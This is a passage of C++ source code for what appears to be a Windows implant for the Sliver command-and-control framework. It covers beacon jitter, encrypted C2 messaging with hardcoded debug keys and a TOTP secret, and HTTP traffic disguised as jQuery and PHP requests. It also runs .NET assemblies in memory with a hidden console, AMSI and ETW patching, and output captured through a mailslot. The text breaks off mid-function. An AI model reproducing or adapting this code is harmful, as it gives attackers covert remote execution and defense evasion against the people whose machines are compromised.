to_send, sliverpb::Envelope& resp) { 64 | try 65 | { 66 | return this->client->WriteAndReceive(to_send, resp); 67 | } 68 | catch (const std::exception& e) 69 | { 70 | cout << e.what() << endl; 71 | std::unique_lock lk{ this->m }; 72 | this->connectionErrors += 1; 73 | return false; 74 | } 75 | } 76 | 77 | std::chrono::seconds Beacon::Duration() { 78 | unique_lock lk{ m }; 79 | auto n = rand() % this->jitter.count() + this->interval.count(); 80 | return std::chrono::seconds(n); 81 | } 82 | std::chrono::seconds Beacon::GetInterval() { 83 | unique_lock lk{ m }; 84 | return this->interval; 85 | } 86 | std::chrono::seconds Beacon::GetJitter() { 87 | unique_lock lk{ m }; 88 | return this->jitter; 89 | } 90 | std::chrono::seconds Beacon::GetReconnectInterval() { 91 | unique_lock lk{ m }; 92 | return this->reconnectInterval; 93 | } 94 | int Beacon::GetConnectionErrors() { 95 | unique_lock lk{ m }; 96 | return this->connectionErrors; 97 | } 98 | void Beacon::SetConnectionErrors(int val) { 99 | unique_lock lk{ m }; 100 | this->connectionErrors = val; 101 | } 102 | bool Beacon::Reconfigure(int64_t interval, int64_t jitter, int64_t reconnectInterval) { 103 | unique_lock lk{ m }; 104 | if(interval != 0) 105 | this->interval = std::chrono::duration_cast(std::chrono::nanoseconds(interval)); 106 | if(jitter != 0) 107 | this->jitter = std::chrono::duration_cast(std::chrono::nanoseconds(jitter)); 108 | if(reconnectInterval != 0) 109 | this->reconnectInterval = std::chrono::duration_cast(std::chrono::nanoseconds(reconnectInterval)); 110 | return true; 111 | } 112 | } -------------------------------------------------------------------------------- /src/CipherContext.cpp: -------------------------------------------------------------------------------- 1 | #include "CipherContext.h" 2 | #include 3 | #include 4 | 5 | //TODO nonce check for replay 6 | namespace crypto { 7 | CipherContext::CipherContext() { 8 | this->replay = make_unique>(); 9 | } 10 | CipherContext::CipherContext(unsigned char key[crypto_aead_chacha20poly1305_IETF_KEYBYTES]) { 11 | memcpy(this->key, key, crypto_aead_chacha20poly1305_IETF_KEYBYTES); 12 | this->replay = make_unique>(); 13 | } 14 | 15 | bool CipherContext::SetKey(const string& key) { 16 | if (key.size() != crypto_aead_chacha20poly1305_IETF_KEYBYTES) { 17 | return false; 18 | } 19 | memcpy(this->key, key.c_str(), crypto_aead_chacha20poly1305_IETF_KEYBYTES); 20 | return true; 21 | } 22 | string CipherContext::Decrypt(const string& enc_string) { 23 | unsigned char* enc = (unsigned char*)enc_string.c_str(); 24 | auto enc_size = enc_string.size(); 25 | 26 | auto nonce_3 = enc; 27 | enc = &enc[crypto_aead_chacha20poly1305_IETF_NPUBBYTES]; 28 | string decrypted; 29 | decrypted.resize(enc_size - crypto_aead_chacha20poly1305_IETF_NPUBBYTES - crypto_aead_chacha20poly1305_IETF_ABYTES); 30 | //string decrypted(new char[enc_size - crypto_aead_chacha20poly1305_IETF_NPUBBYTES - crypto_aead_chacha20poly1305_IETF_ABYTES], enc_size - crypto_aead_chacha20poly1305_IETF_NPUBBYTES - crypto_aead_chacha20poly1305_IETF_ABYTES 31 | 32 | unsigned long long decrypted_len = 0; 33 | if (!crypto_aead_chacha20poly1305_ietf_decrypt((unsigned char*)decrypted.c_str(), &decrypted_len, NULL, enc, enc_size - crypto_aead_chacha20poly1305_IETF_NPUBBYTES, NULL, 0, nonce_3, key)) { 34 | printf("success\n"); 35 | std::string decompressed_data = gzip::decompress((char *)decrypted.c_str(), enc_size - crypto_aead_chacha20poly1305_IETF_NPUBBYTES - crypto_aead_chacha20poly1305_IETF_ABYTES); 36 | return decompressed_data; 37 | } 38 | return string(""); 39 | } 40 | 41 | string CipherContext::Encrypt(const string& plain_string) { 42 | unsigned char* plain = (unsigned char*)plain_string.c_str(); 43 | auto plain_size = plain_string.size(); 44 | unsigned char nonce[crypto_aead_chacha20poly1305_IETF_NPUBBYTES]; 45 | std::string compressed_data = gzip::compress((char*)plain, plain_size); 46 | 47 | plain = (unsigned char*)compressed_data.c_str(); 48 | plain_size = compressed_data.size(); 49 | string ciphertext; 50 | ciphertext.resize(plain_size + crypto_aead_chacha20poly1305_IETF_ABYTES); 51 | unsigned long long ciphertext_len; 52 | 53 | randombytes_buf(nonce, sizeof nonce); 54 | if(!crypto_aead_chacha20poly1305_ietf_encrypt((unsigned char*)ciphertext.c_str(), &ciphertext_len, 55 | plain, plain_size, NULL, 0, NULL, nonce, key)){ 56 | printf("successs\n"); 57 | string out; 58 | out.resize(ciphertext_len + crypto_aead_chacha20poly1305_IETF_NPUBBYTES); 59 | memcpy((void*)out.c_str(), nonce, sizeof nonce); 60 | memcpy((void *)&(out.c_str()[sizeof nonce]), ciphertext.c_str(), ciphertext_len); 61 | return out; 62 | } 63 | return string(""); 64 | } 65 | } -------------------------------------------------------------------------------- /src/CryptoUtils.cpp: -------------------------------------------------------------------------------- 1 | #include "CryptoUtils.h" 2 | 3 | namespace crypto { 4 | #ifdef DEBUG 5 | string eccServerPublicKey = "zKn2nDnphmQImAjQ+UmueLUdACvWBb02Voet943Huhc"; 6 | // ECCPublicKey - The implant's ECC public key 7 | string eccPublicKey = "+UpkonzIDtgnuWkC8HXZkfb6xiXvgKWvbCA4Ii9kRjw"; 8 | // eccPrivateKey - The implant's ECC private key 9 | string eccPrivateKey = "s+JQAl9lb2+Puj9B3k6PSaDMtbacUb0P5QZTGXhaTog"; 10 | string totpsecret = "TZLMFPN6HDMZGIVSDSP7UNQNG3BNCO3Y"; 11 | #else 12 | string eccServerPublicKey = "{{.Config.ECCServerPublicKey}}"; 13 | // ECCPublicKey - The implant's ECC public key 14 | string eccPublicKey = "{{.Config.ECCPublicKey}}"; 15 | // eccPrivateKey - The implant's ECC private key 16 | string eccPrivateKey = "{{.Config.ECCPrivateKey}}"; 17 | string totpsecret = "{{.OTPSecret}}"; 18 | #endif 19 | string RandomKey() { 20 | unsigned char buf[64]; 21 | randombytes_buf(buf, 64); 22 | unsigned char out[crypto_hash_sha256_BYTES]; 23 | crypto_hash_sha256(out, buf, 64); 24 | return string((char*)&out[0], crypto_hash_sha256_BYTES); 25 | } 26 | 27 | string GetServerECCPublicKey() { 28 | unsigned char out[crypto_box_PUBLICKEYBYTES]; 29 | size_t lenRet; 30 | const char* b64end; 31 | if (sodium_base642bin(out, 32, eccServerPublicKey.c_str(), eccServerPublicKey.size(), NULL, &lenRet, &b64end, sodium_base64_VARIANT_ORIGINAL_NO_PADDING) == 0) { 32 | return string((char*)&out[0], crypto_box_PUBLICKEYBYTES); 33 | } 34 | else { 35 | return nullptr; 36 | } 37 | } 38 | 39 | 40 | shared_ptr getKeyPair() { 41 | unsigned char out[crypto_box_SECRETKEYBYTES]; 42 | auto keyPair = make_shared(); 43 | size_t lenRet; 44 | if (sodium_base642bin(out, crypto_box_PUBLICKEYBYTES, eccPublicKey.c_str(), eccPublicKey.size(), NULL, &lenRet, NULL, sodium_base64_VARIANT_ORIGINAL_NO_PADDING) == 0) { 45 | memcpy(keyPair->pb_key, out, crypto_box_PUBLICKEYBYTES); 46 | } 47 | else { 48 | return nullptr; 49 | } 50 | if (sodium_base642bin(out, crypto_box_SECRETKEYBYTES, eccPrivateKey.c_str(), eccPrivateKey.size(), NULL, &lenRet, NULL, sodium_base64_VARIANT_ORIGINAL_NO_PADDING) == 0) { 51 | memcpy(keyPair->pv_key, out, crypto_box_SECRETKEYBYTES); 52 | } 53 | else { 54 | return nullptr; 55 | } 56 | return keyPair; 57 | } 58 | 59 | string ECCEncryptToServer(const string& plaintext) { 60 | auto keyPair = getKeyPair(); 61 | auto server_pbk = crypto::GetServerECCPublicKey(); 62 | unsigned char nonce[crypto_box_NONCEBYTES]; 63 | randombytes_buf(nonce, crypto_box_NONCEBYTES); 64 | string bytes; 65 | bytes.resize(crypto_hash_sha256_BYTES + crypto_box_NONCEBYTES + crypto_box_MACBYTES + plaintext.size()); 66 | 67 | auto out = bytes.c_str(); 68 | crypto_hash_sha256((unsigned char*)out,keyPair->pb_key, crypto_box_PUBLICKEYBYTES); 69 | memcpy((void*)&out[crypto_hash_sha256_BYTES], nonce, crypto_box_NONCEBYTES); 70 | if (!crypto_box_easy((unsigned char*)&out[crypto_hash_sha256_BYTES + crypto_box_NONCEBYTES], 71 | (unsigned char*)(plaintext.c_str()), plaintext.size(), 72 | nonce, (const unsigned char*)(server_pbk.c_str()), keyPair->pv_key)) { 73 | printf("success\n"); 74 | return bytes; 75 | } 76 | else { 77 | return string(""); 78 | } 79 | } 80 | 81 | uint32_t GetTOTP(const chrono::system_clock::time_point& tp) { 82 | auto vec = Botan::base32_decode(totpsecret); 83 | auto totp_key = vec.data(); 84 | auto a = Botan::TOTP(totp_key, vec.size(), "SHA-256", 8, 30); 85 | auto totp = a.generate_totp(tp); 86 | 87 | return totp; 88 | } 89 | } -------------------------------------------------------------------------------- /src/Encoders.cpp: -------------------------------------------------------------------------------- 1 | #include "encoders.h" 2 | #include 3 | 4 | #define N_TYPES 1 5 | 6 | using namespace std; 7 | 8 | namespace encoders { 9 | const int encodermodulus = 101; 10 | const int maxN = 999999; 11 | EncoderType types[N_TYPES] = { EncoderType::Base64EncoderID }; 12 | Encoder* GetEncoder(EncoderType ID) { 13 | switch (ID) { 14 | case EncoderType::Base64EncoderID: 15 | return new Base64(); 16 | case EncoderType::HexEncoderID: 17 | break; 18 | } 19 | } 20 | tuple GetRandomEncoder() { 21 | int n = rand() % N_TYPES; 22 | Encoder* encoder = GetEncoder(types[n]); 23 | int nonce = rand() * encodermodulus + types[n]; 24 | return make_tuple(nonce, encoder); 25 | } 26 | } -------------------------------------------------------------------------------- /src/ExecuteAssembly.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "taskRunner.h" 7 | #include 8 | #include 9 | #include 10 | #include "executeAssembly.h" 11 | #include 12 | #include "sodium.h" 13 | #include 14 | #include "evasion.h" 15 | 16 | using namespace executeassembly; 17 | 18 | namespace taskrunner { 19 | namespace executeassembly { 20 | map> assemblies; 21 | HANDLE g_OrigninalStdOut = INVALID_HANDLE_VALUE; 22 | HANDLE g_CurrentStdOut = INVALID_HANDLE_VALUE; 23 | HANDLE g_OrigninalStdErr = INVALID_HANDLE_VALUE; 24 | HANDLE g_CurrentStdErr = INVALID_HANDLE_VALUE; 25 | ICorRuntimeHost* g_Runtime = NULL; 26 | HANDLE g_hSlot = INVALID_HANDLE_VALUE; 27 | HANDLE g_hFile = INVALID_HANDLE_VALUE; 28 | IUnknown* g_pUnk = NULL; 29 | AppDomain* g_pAppDomain = NULL; 30 | LPCSTR SlotName = "\\\\.\\mailslot\\myMailSlot"; 31 | mutex mut; 32 | BOOL WINAPI MakeSlot(LPCSTR lpszSlotName) 33 | { 34 | g_hSlot = CreateMailslotA(lpszSlotName, 35 | 0, // no maximum message size 36 | MAILSLOT_WAIT_FOREVER, // no time-out for operations 37 | (LPSECURITY_ATTRIBUTES)NULL); // default security 38 | 39 | if (g_hSlot == INVALID_HANDLE_VALUE) 40 | { 41 | printf("CreateMailslot failed with %d\n", GetLastError()); 42 | return FALSE; 43 | } 44 | else printf("Mailslot created successfully.\n"); 45 | return TRUE; 46 | } 47 | 48 | BOOL ReadSlot(std::string& output) 49 | { 50 | CONST DWORD szMailBuffer = 424; //Size comes from https://docs.microsoft.com/en-us/windows/win32/ipc/about-mailslots?redirectedfrom=MSDN 51 | DWORD cbMessage, cMessage, cbRead; 52 | BOOL fResult; 53 | LPSTR lpszBuffer = NULL; 54 | LPVOID achID[szMailBuffer] = { 0 }; 55 | DWORD cAllMessages; 56 | HANDLE hEvent; 57 | OVERLAPPED ov = { 0 }; 58 | 59 | cbMessage = cMessage = cbRead = 0; 60 | 61 | hEvent = CreateEventA(NULL, FALSE, FALSE, NULL); 62 | if (NULL == hEvent) 63 | return FALSE; 64 | ov.Offset = 0; 65 | ov.OffsetHigh = 0; 66 | ov.hEvent = hEvent; 67 | 68 | fResult = GetMailslotInfo(g_hSlot, // mailslot handle 69 | (LPDWORD)NULL, // no maximum message size 70 | &cbMessage, // size of next message 71 | &cMessage, // number of messages 72 | (LPDWORD)NULL); // no read time-out 73 | 74 | if (!fResult) 75 | { 76 | printf("GetMailslotInfo failed with %d.\n", GetLastError()); 77 | return FALSE; 78 | } 79 | 80 | if (cbMessage == MAILSLOT_NO_MESSAGE) 81 | { 82 | printf("Waiting for a message...\n"); 83 | return TRUE; 84 | } 85 | 86 | cAllMessages = cMessage; 87 | 88 | while (cMessage != 0) // retrieve all messages 89 | { 90 | // Allocate memory for the message. 91 | 92 | lpszBuffer = (LPSTR)GlobalAlloc(GPTR, lstrlenA((LPSTR)achID) * sizeof(CHAR) + cbMessage); 93 | if (NULL == lpszBuffer) 94 | return FALSE; 95 | lpszBuffer[0] = '\0'; 96 | 97 | fResult = ReadFile(g_hSlot, 98 | lpszBuffer, 99 | cbMessage, 100 | &cbRead, 101 | &ov); 102 | 103 | if (!fResult) 104 | { 105 | printf("ReadFile failed with %d.\n", GetLastError()); 106 | GlobalFree((HGLOBAL)lpszBuffer); 107 | return FALSE; 108 | } 109 | output += lpszBuffer; 110 | 111 | fResult = GetMailslotInfo(g_hSlot, // mailslot handle 112 | (LPDWORD)NULL, // no maximum message size 113 | &cbMessage, // size of next message 114 | &cMessage, // number of messages 115 | (LPDWORD)NULL); // no read time-out 116 | 117 | if (!fResult) 118 | { 119 | printf("GetMailslotInfo failed (%d)\n", GetLastError()); 120 | return FALSE; 121 | } 122 | } 123 | GlobalFree((HGLOBAL)lpszBuffer); 124 | CloseHandle(hEvent); 125 | return TRUE; 126 | } 127 | 128 | /*Determine if .NET assembly is v4 or v2*/ 129 | BOOL FindVersion(void* assembly, int length) { 130 | char* assembly_c; 131 | assembly_c = (char*)assembly; 132 | char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 }; 133 | 134 | for (int i = 0; i < length; i++) 135 | { 136 | for (int j = 0; j < 10; j++) 137 | { 138 | if (v4[j] != assembly_c[i + j]) 139 | { 140 | break; 141 | } 142 | else 143 | { 144 | if (j == (9)) 145 | { 146 | return 1; 147 | } 148 | } 149 | } 150 | } 151 | 152 | return 0; 153 | } 154 | BOOL LoadCLR(LPCWSTR dotNetVersion) { 155 | 156 | HRESULT hr; 157 | ICLRMetaHost* pMetaHost = NULL; 158 | ICLRRuntimeInfo* pRuntimeInfo = NULL; 159 | BOOL bLoadable; 160 | 161 | // Open the runtime 162 | HMODULE lib = LoadLibraryA("mscoree.dll"); 163 | CLRCreateInstanceFnPtr CLRCreateInstance = (CLRCreateInstanceFnPtr)GetProcAddress(lib, "CLRCreateInstance"); 164 | hr = CLRCreateInstance(xCLSID_CLRMetaHost, xIID_ICLRMetaHost, (LPVOID*)&pMetaHost); 165 | if (FAILED(hr)) 166 | goto Cleanup; 167 | 168 | //DotNet version 169 | hr = pMetaHost->lpVtbl->GetRuntime(pMetaHost, dotNetVersion, xIID_ICLRRuntimeInfo, (LPVOID*)&pRuntimeInfo); 170 | if (FAILED(hr)) 171 | goto Cleanup; 172 | 173 | // Check if the runtime is loadable (this will fail without .Net v4.x on the system) 174 | 175 | hr = pRuntimeInfo->lpVtbl->IsLoadable(pRuntimeInfo, &bLoadable); 176 | if (FAILED(hr) || !bLoadable) 177 | goto Cleanup; 178 | 179 | // Load the CLR into the current pRuntimeInfo, 180 | hr = pRuntimeInfo->lpVtbl->GetInterface(pRuntimeInfo, xCLSID_CorRuntimeHost, xIID_ICorRuntimeHost, (LPVOID*)&g_Runtime); 181 | if (FAILED(hr)) 182 | goto Cleanup; 183 | 184 | // Start the CLR. 185 | hr = g_Runtime->lpVtbl->Start(g_Runtime); 186 | if (FAILED(hr)) 187 | goto Cleanup; 188 | 189 | Cleanup: 190 | 191 | /* if (pMetaHost) 192 | { 193 | pMetaHost->lpVtbl->Release(pMetaHost); 194 | pMetaHost = NULL; 195 | } 196 | if (pRuntimeInfo) 197 | { 198 | pRuntimeInfo->lpVtbl->Release(pRuntimeInfo); 199 | pRuntimeInfo = NULL; 200 | } 201 | if (FAILED(hr) && g_Runtime) 202 | { 203 | g_Runtime->lpVtbl->Release(g_Runtime); 204 | g_Runtime = NULL; 205 | }*/ 206 | 207 | return hr; 208 | } 209 | 210 | /*BOOL UnloadCLR() { 211 | 212 | g_Runtime->lpVtbl->Release(g_Runtime); 213 | g_Runtime = NULL; 214 | return TRUE; 215 | }*/ 216 | 217 | HRESULT CallMethod(std::string assembly, std::string args, std::string& outputString) { 218 | HRESULT hr = S_OK; 219 | std::wstring wappDomain{ L"toteslegit" }; 220 | SAFEARRAY* psaArguments = NULL; 221 | IUnknown* pUnk = NULL; 222 | AppDomain* pAppDomain = NULL; 223 | Assembly* pAssembly = NULL; 224 | MethodInfo* pMethodInfo = NULL; 225 | SAFEARRAYBOUND bounds[1] = { 0 }; 226 | SAFEARRAY* psaBytes = NULL; 227 | LONG rgIndices = 0; 228 | wstring w_ByteStr; 229 | LPWSTR* szArglist = NULL; 230 | int nArgs = 0; 231 | VARIANT vtPsa = { 0 }; 232 | string hash; 233 | IErrorInfo* pErrorInfo; 234 | BSTR description; 235 | SecureZeroMemory(&vtPsa, sizeof(VARIANT)); 236 | vtPsa.vt = (VT_ARRAY | VT_BSTR); 237 | 238 | executeassembly::g_OrigninalStdOut = GetStdHandle(STD_OUTPUT_HANDLE); 239 | executeassembly::g_OrigninalStdErr = GetStdHandle(STD_ERROR_HANDLE); 240 | 241 | hash.resize(crypto_hash_sha256_BYTES); 242 | crypto_hash_sha256((unsigned char*)hash.c_str(), (unsigned char*)assembly.c_str(), assembly.size()); 243 | /*if (assemblies.contains(hash)) { 244 | pAssembly = std::get<0>(assemblies.find(hash)->second); 245 | pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo); 246 | goto Run; 247 | }*/ 248 | 249 | hr = g_Runtime->lpVtbl->CreateDomain(g_Runtime, (LPCWSTR)wappDomain.c_str(), NULL, &pUnk); 250 | if (FAILED(hr)) 251 | goto Cleanup; 252 | 253 | 254 | // Get the current app domain 255 | 256 | hr = pUnk->QueryInterface(xIID_AppDomain, (VOID**)&pAppDomain); 257 | if (FAILED(hr)) 258 | goto Cleanup; 259 | 260 | // Load the assembly 261 | //Establish the bounds for our safe array 262 | bounds[0].cElements = (ULONG)assembly.size(); 263 | bounds[0].lLbound = 0; 264 | 265 | //Create a safe array and fill it with the bytes of our .net assembly 266 | psaBytes = SafeArrayCreate(VT_UI1, 1, bounds); 267 | SafeArrayLock(psaBytes); 268 | memcpy(psaBytes->pvData, assembly.c_str(), assembly.size()); 269 | SafeArrayUnlock(psaBytes); 270 | 271 | //Load the assembly into the app domain 272 | hr = pAppDomain->lpVtbl->Load_3(pAppDomain, psaBytes, &pAssembly); 273 | if (FAILED(hr)) 274 | { 275 | SafeArrayDestroy(psaBytes); 276 | goto Cleanup; 277 | } 278 | 279 | SafeArrayDestroy(psaBytes); 280 | 281 | // Find the entry point 282 | hr = pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo); 283 | if (FAILED(hr)) 284 | goto Cleanup; 285 | 286 | //add assembly to map 287 | hash.resize(crypto_hash_sha256_BYTES); 288 | crypto_hash_sha256((unsigned char*)hash.c_str(), (unsigned char*)assembly.c_str(), assembly.size()); 289 | assemblies.emplace(hash, make_tuple(pAssembly, pMethodInfo)); 290 | 291 | //This will take our arguments and format them so they look like command line arguments to main (otherwise they are treated as a single string) 292 | //Credit to https://github.com/b4rtik/metasploit-execute-assembly/blob/master/HostingCLR_inject/HostingCLR/HostingCLR.cpp for getting this to work properly 293 | Run: 294 | if (args.empty()) 295 | { 296 | vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, 0); 297 | } 298 | else 299 | { 300 | //Convert to wide characters 301 | w_ByteStr.resize(sizeof(wchar_t) * args.size() + 1); 302 | mbstowcs((wchar_t*)w_ByteStr.c_str(), (char*)args.data(), args.size() + 1); 303 | szArglist = CommandLineToArgvW(w_ByteStr.c_str(), &nArgs); 304 | 305 | vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs); 306 | for (long i = 0; i < nArgs; i++) 307 | { 308 | BSTR strParam1 = SysAllocString(szArglist[i]); 309 | SafeArrayPutElement(vtPsa.parray, &i, strParam1); 310 | } 311 | } 312 | 313 | psaArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1); 314 | 315 | hr = SafeArrayPutElement(psaArguments, &rgIndices, &vtPsa); 316 | 317 | VARIANT retVal; 318 | ZeroMemory(&retVal, sizeof(VARIANT)); 319 | VARIANT obj; 320 | ZeroMemory(&obj, sizeof(VARIANT)); 321 | obj.vt = VT_NULL; 322 | 323 | if (!SetStdHandle(STD_OUTPUT_HANDLE, g_hFile)) 324 | { 325 | goto Cleanup; 326 | } 327 | if (!SetStdHandle(STD_ERROR_HANDLE, g_hFile)) 328 | { 329 | goto Cleanup; 330 | } 331 | //Execute the function. Note that if you are executing a function with return data it will end up in vReturnVal 332 | try { 333 | hr = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo, obj, psaArguments, &retVal); 334 | } 335 | catch (exception& e) { 336 | #ifdef DEBUG 337 | cout << "catched exceptions from assembly: " << e.what() << endl; 338 | #endif 339 | } 340 | GetErrorInfo(0, &pErrorInfo); 341 | if (pErrorInfo != NULL) { 342 | pErrorInfo->GetDescription(&description); 343 | #ifdef DEBUG 344 | wprintf(L"Error with %d description: %s\n", hr, description); 345 | #endif 346 | } 347 | //Reset our Output handles (the error message won't show up if they fail, just for debugging purposes) 348 | if (!SetStdHandle(STD_OUTPUT_HANDLE, g_OrigninalStdOut)) 349 | { 350 | std::cerr << "ERROR: SetStdHandle REVERTING stdout failed." << std::endl; 351 | } 352 | if (!SetStdHandle(STD_ERROR_HANDLE, g_OrigninalStdErr)) 353 | { 354 | std::cerr << "ERROR: SetStdHandle REVERTING stderr failed." << std::endl; 355 | } 356 | 357 | //Read from our mail slot 358 | if (!ReadSlot(outputString)) 359 | printf("Failed to read from mail slot"); 360 | 361 | Cleanup: 362 | VariantClear(&retVal); 363 | VariantClear(&obj); 364 | VariantClear(&vtPsa); 365 | if (NULL != psaArguments) 366 | SafeArrayDestroy(psaArguments); 367 | psaArguments = NULL; 368 | if (pMethodInfo != NULL) { 369 | 370 | pMethodInfo->lpVtbl->Release(pMethodInfo); 371 | pMethodInfo = NULL; 372 | } 373 | if (pAssembly != NULL) { 374 | 375 | pAssembly->lpVtbl->Release(pAssembly); 376 | pAssembly = NULL; 377 | } 378 | if (pAppDomain != NULL) { 379 | 380 | pAppDomain->lpVtbl->Release(pAppDomain); 381 | pAppDomain = NULL; 382 | } 383 | if (pUnk != NULL) { 384 | pUnk->Release(); 385 | 386 | } 387 | g_Runtime->lpVtbl->UnloadDomain(g_Runtime, pUnk); 388 | /*if(NULL != pAssembly) 389 | pAssembly->lpVtbl->Release(pAssembly);*/ 390 | return hr; 391 | } 392 | } 393 | string ExecuteAssembly(const string& assembly, const string& arguments, bool amsi, bool etw) { 394 | //Declare other variables 395 | HRESULT hr = NULL; 396 | wchar_t* wNetVersion = NULL; 397 | int argumentCount = 0; 398 | HANDLE stdOutput = INVALID_HANDLE_VALUE; 399 | HANDLE stdError = INVALID_HANDLE_VALUE; 400 | HANDLE mainHandle = INVALID_HANDLE_VALUE; 401 | HANDLE hFile = INVALID_HANDLE_VALUE; 402 | BOOL free_console = FALSE; 403 | BOOL success = 1; 404 | 405 | unique_lock lk{ executeassembly::mut }; 406 | if (!GetConsoleWindow()) { 407 | HWND wnd = NULL; 408 | AllocConsole(); 409 | if (wnd = GetConsoleWindow()) { 410 | ShowWindow(wnd, SW_HIDE); 411 | } 412 | free_console = 1; 413 | } 414 | std::string output = ""; 415 | if (amsi) { 416 | evasion::patchAMSI(); 417 | } 418 | if (etw) { 419 | evasion::patchETW(0); 420 | } 421 | if (executeassembly::FindVersion((void*)assembly.c_str(), assembly.size())) 422 | { 423 | wNetVersion = (wchar_t*)L"v4.0.30319"; 424 | } 425 | else 426 | { 427 | wNetVersion = (wchar_t*)L"v2.0.50727"; 428 | } 429 | //Create our mail slot 430 | if (!executeassembly::MakeSlot(executeassembly::SlotName)) 431 | { 432 | printf("Failed to create mail slot"); 433 | return output; 434 | } 435 | executeassembly::g_hFile = CreateFileA(executeassembly::SlotName, GENERIC_WRITE, FILE_SHARE_READ, (LPSECURITY_ATTRIBUTES)NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE)NULL); 436 | 437 | //Load the CLR 438 | if (executeassembly::g_Runtime == NULL) { 439 | hr = executeassembly::LoadCLR(wNetVersion); 440 | if (FAILED(hr)) 441 | { 442 | output = "failed to load CLR"; 443 | goto END; 444 | } 445 | } 446 | printf("Successfully loaded CLR\n"); 447 | hr = executeassembly::CallMethod(assembly, arguments, output); 448 | if (FAILED(hr)) 449 | output = "failed to call method"; 450 | END: 451 | //executeassembly::UnloadCLR(); 452 | if (executeassembly::g_hSlot != INVALID_HANDLE_VALUE) 453 | CloseHandle(executeassembly::g_hSlot); 454 | if (executeassembly::g_hFile != INVALID_HANDLE_VALUE) 455 | CloseHandle(executeassembly::g_hFile); 456 | if (free_console) { 457 | FreeConsole(); 458 | } 459 | return output; 460 | } 461 | } -------------------------------------------------------------------------------- /src/Handlers_Utils.cpp: -------------------------------------------------------------------------------- 1 | #include "Handlers_Utils.h" 2 | 3 | using namespace std; 4 | 5 | namespace handlers { 6 | sliverpb::Envelope wrapResponse(int64_t id, google::protobuf::Message& msg){ 7 | string data; 8 | msg.SerializeToString(&data); 9 | sliverpb::Envelope envelope; 10 | envelope.set_id(id); 11 | envelope.set_data(data); 12 | return envelope; 13 | } 14 | } -------------------------------------------------------------------------------- /src/HttpClient.cpp: -------------------------------------------------------------------------------- 1 | #include "Client.h" 2 | #include "CryptoUtils.h" 3 | #include "base64_utils.h" 4 | #include "encoders.h" 5 | #include 6 | #include 7 | #include "my_time.h" 8 | #include "constants.h" 9 | #include 10 | using namespace std::chrono_literals; 11 | 12 | namespace transports { 13 | 14 | const string userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.1232.632 Safari/537.36"; 15 | 16 | IClient::IClient() { 17 | 18 | } 19 | #ifdef HTTP 20 | HttpClient::HttpClient( string base_URI, unsigned long long netTimeout,unsigned long long tlsTimeout,unsigned long long pollTimeout,string proxyHost, int proxyPort,string proxyUsername, string proxyPassword,string hostHeader) { 21 | this->base_URI = base_URI; 22 | session = make_unique(); 23 | if (proxyHost != "" && proxyPort) { 24 | auto urlProxy = proxyHost + string{ ":" } + to_string(proxyPort); 25 | session->SetProxies(cpr::Proxies{ { "http",urlProxy } }); 26 | } 27 | if (proxyUsername != "") { 28 | session->SetProxyAuth(cpr::ProxyAuthentication{ {"http",cpr::EncodedAuthentication{proxyUsername,proxyPassword}} }); 29 | } 30 | session->SetConnectTimeout(cpr::ConnectTimeout{1000s }); 31 | session->SetTimeout(cpr::Timeout{ 1000s }); 32 | this->pollTimeout = pollTimeout; 33 | this->netTimeout = netTimeout; 34 | if (hostHeader != "") { 35 | session->SetHeader(cpr::Header{ {"User-Agent",userAgent},{"Host",hostHeader}}); 36 | } 37 | this->hostHeader = hostHeader; 38 | this->timeDelta = std::chrono::system_clock::duration(0); 39 | } 40 | 41 | string HttpClient::StartSessionURL() { 42 | auto s = SessionURL(); 43 | return s.replace(s.find(".php"), 4, ".html"); 44 | } 45 | 46 | string HttpClient::SessionURL() { 47 | #ifdef DEBUG 48 | std::vectorsegments = { 49 | // 50 | "upload", 51 | // 52 | "actions", 53 | // 54 | }; 55 | std::vectorfilenames = { 56 | // 57 | "api", 58 | // 59 | "samples", 60 | // 61 | }; 62 | #else 63 | std::vectorsegments = { 64 | // {{range .HTTPC2ImplantConfig.SessionPaths}} 65 | "{{.}}", 66 | // {{end}} 67 | }; 68 | std::vectorfilenames = { 69 | // {{range .HTTPC2ImplantConfig.SessionFiles}} 70 | "{{.}}", 71 | // {{end}} 72 | }; 73 | #endif 74 | auto elems = RandomPath(segments, filenames, "php"); 75 | auto ret = std::accumulate( 76 | std::next(elems.begin()), 77 | elems.end(), 78 | elems[0], 79 | [](std::string a, std::string b) { 80 | return a + "/" + b; 81 | } 82 | ); 83 | return this->base_URI + "/" + ret; 84 | } 85 | 86 | string HttpClient::PollURL() { 87 | #ifdef DEBUG 88 | std::vectorsegments = { 89 | // 90 | "script", 91 | // 92 | "javascripts", 93 | // 94 | "javascript", 95 | // 96 | "jscript", 97 | // 98 | "js", 99 | // 100 | "umd", 101 | // 102 | }; 103 | std::vectorfilenames = { 104 | // 105 | "jquery.min", 106 | // 107 | "jquery", 108 | // 109 | }; 110 | 111 | #else 112 | std::vectorsegments = { 113 | // {{range .HTTPC2ImplantConfig.PollPaths}} 114 | "{{.}}", 115 | // {{end}} 116 | }; 117 | std::vectorfilenames = { 118 | // {{range .HTTPC2ImplantConfig.PollFiles}} 119 | "{{.}}", 120 | // {{end}} 121 | }; 122 | #endif 123 | auto elems = RandomPath(segments, filenames, "php"); 124 | auto ret = std::accumulate( 125 | std::next(elems.begin()), 126 | elems.end(), 127 | elems[0], 128 | [](std::string a, std::string b) { 129 | return a + "/" + b; 130 | } 131 | ); 132 | return ret; 133 | } 134 | 135 | std::vector HttpClient::RandomPath(std::vector& segments, std::vector& filenames, string extension) { 136 | std::vector genSegments; 137 | if (0 < segments.size()){ 138 | auto n = rand() % segments.size(); 139 | for (int i = 0;i < n;i++) { 140 | auto s = segments[rand() % segments.size()]; 141 | genSegments.push_back(s); 142 | } 143 | } 144 | auto filename = filenames[rand() % filenames.size()]; 145 | filename.append(string{ "." } + extension); 146 | genSegments.push_back(filename); 147 | return 